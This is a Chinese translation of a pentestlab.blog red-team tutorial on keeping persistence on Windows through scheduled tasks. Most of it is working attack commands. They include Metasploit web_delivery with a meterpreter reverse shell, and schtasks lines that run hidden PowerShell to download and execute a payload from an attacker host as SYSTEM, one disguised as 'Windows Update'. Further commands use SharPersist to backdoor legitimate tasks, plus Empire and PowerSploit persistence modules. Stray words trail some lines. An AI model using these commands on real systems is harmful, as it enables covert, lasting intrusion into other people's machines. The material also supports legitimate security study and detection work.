Windows操做系統提供了一個實用程序(schtasks.exe),使系統管理員可以在特定的日期和時間執行程序或腳本。這種行爲可做爲一種持久性機制被red team利用。經過計劃任務執行持久性不須要管理員權限,但若是已得到提高的權限,則容許進一步操做,例如在用戶登陸期間或在空閒狀態期間執行任務。html
計劃任務的持久化技術能夠手動實現,也能夠自動實現。有效負載能夠從磁盤或遠程位置執行,它們能夠是可執行文件、powershell腳本或scriptlet的形式。這被認爲是一種舊的持久性技術,可是它仍然能夠在red team場景中使用,而且由各類開源工具支持。Metasploit 的web_delivery模塊可用於託管和生成各類格式的有效載荷。git
use exploit/multi/script/web_delivery set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.2.21
set target 5 exploit
在命令提示符下,「 schtasks 」可執行文件可用於建立計劃任務,該任務將在每一個Windows登陸中以SYSTEM的形式下載並執行基於PowerShell的有效負載。github
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
命令提示符--持久性計劃任務web
當用戶再次使用系統登陸時,將執行有效負載,並打開meterpreter會話。shell
Meterpreter – 持久性計劃任務windows
也能夠在系統啓動期間或用戶會話處於非活動狀態(空閒模式)時執行。安全
#(X64) - On System Start schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X64) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 #(X86) - On User Login schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System #(X86) - On System Start schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X86) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
有效負載的執行也能夠在特定的時間發生,而且能夠具備到期日期和自刪除功能。「schtasks」實用程序提供了必要的選項,由於它是其功能的一部分。tcp
schtasks /CREATE /TN "Windows Update" /TR "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%
持續性–計劃任務日期和時間工具
若是爲目標事件啓用了事件日誌記錄,則能夠在特定的Windows事件中觸發任務。b33f在他的網站上演示了此技術。Windows事件命令行實用程序可用於查詢事件ID。學習
wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]
查詢事件ID
能夠建立一個計劃任務,該任務將在系統上發生關聯的事件ID時執行有效負載。
schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"
持久性–計劃任務事件ID
「 查詢 」參數可用於檢索新建立的計劃任務的信息。
schtasks /Query /tn OnLogOff /fo List /v
查詢計劃任務
當用戶管理員註銷時,將建立事件ID,並在下次登陸時執行有效負載。
計劃任務註銷– Meterpreter
或者,可使用PowerShell建立計劃任務,這些任務將在用戶登陸時或在特定時間和日期執行。
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe" $T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab" $S = New-ScheduledTaskSettingsSet $P = New-ScheduledTaskPrincipal "Pentestlab" $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S Register-ScheduledTask Pentestlab -InputObjec $D $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\pentestlab.exe" $T = New-ScheduledTaskTrigger -Daily -At 9am $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest $S = New-ScheduledTaskSettingsSet $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S Register-ScheduledTask PentestLaboratories -InputObject $D
持久性計劃任務– PowerShell
github項目地址:https://github.com/fireeye/SharPersist
經過計劃任務在SharPersist中添加了關於持久性的多種功能。若是用戶具備管理員級別的特權,則如下命令能夠建立一個新的計劃任務,該任務將在Windows登陸期間執行。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m add -o logon
SharPersist –新計劃任務登陸
在系統的下一次從新引導中,有效負載將執行,而且Meterpreter會話將打開。
Meterpreter – SharPersist計劃任務
SharPersist也可用於列出特定的計劃任務,以識別全部者,觸發器和要執行的動做。
SharPersist -t schtask -m list -n "PentestLab"
SharPersist –列表計劃任務
或者,僅使用「 list 」選項而不指定名稱將枚舉系統上全部現有的計劃任務。
SharPersist -t schtask -m list
SharPersist –列表計劃任務
相似於Metasploit Framework功能,該功能具備檢查目標是否易受攻擊以及漏洞利用可否成功執行的功能,SharPersist具備空運行檢查。經過檢查名稱和提供的參數,此功能可用於驗證調度任務命令。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check
SharPersist –檢查計劃任務
SharPersist還能夠枚舉登陸期間將執行的全部計劃任務。此命令可用於主機的態勢感知期間,並肯定是否存在能夠修改以運行有效負載而不是建立新任務的現有計劃任務。
SharPersist -t schtaskbackdoor -m list -o logon
SharPersist –列出登陸計劃任務
該schtaskbackdoor功能與檢查相結合的參數能夠識別,若是一個特定的計劃任務已後門。
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "PentestLab" -m check
SharPersist –檢查後門計劃任務
「 Add 」參數將後門現有的計劃任務,該任務將執行惡意命令,而不是執行更隱蔽的持久性選項來執行合法動做。
SharPersist.exe -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c C:\tmp\pentestlab.exe" -n "ReconcileLanguageResources" -m add
SharPersist –後門計劃任務
Empire根據活動代理的特權包含兩個模塊,這些模塊可用於實施計劃任務的持久性技術。如下配置天天凌晨03:22將執行基於PowerShell的有效負載。有效負載存儲在註冊表項中,任務名稱爲「 WindowsUpdate 」,以便區分合法的計劃任務。
usemodule persistence/userland/schtasks set Listener http set TaskName WindowsUpdate set DailyTime 03:22 execute
Empire – 持久性計劃任務
計劃任務的提高模塊提供了在用戶登陸期間執行有效負載的選項。在這兩個模塊中,都將使用註冊表以Base64編碼格式存儲有效負載,可是以不一樣的註冊表項存儲。
usemodule persistence/elevated/schtasks*
set Listener http
Empire Elevated – 持久性計劃任務
PowerSploit的持久性模塊支持各類功能,可用於向腳本或腳本塊添加持久性功能。在添加持久性以前,須要配置高架選項和用戶選項。
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly $UserOptions = New-UserPersistenceOption -ScheduledTask -Hourly Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
PowerSploit –計劃任務
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/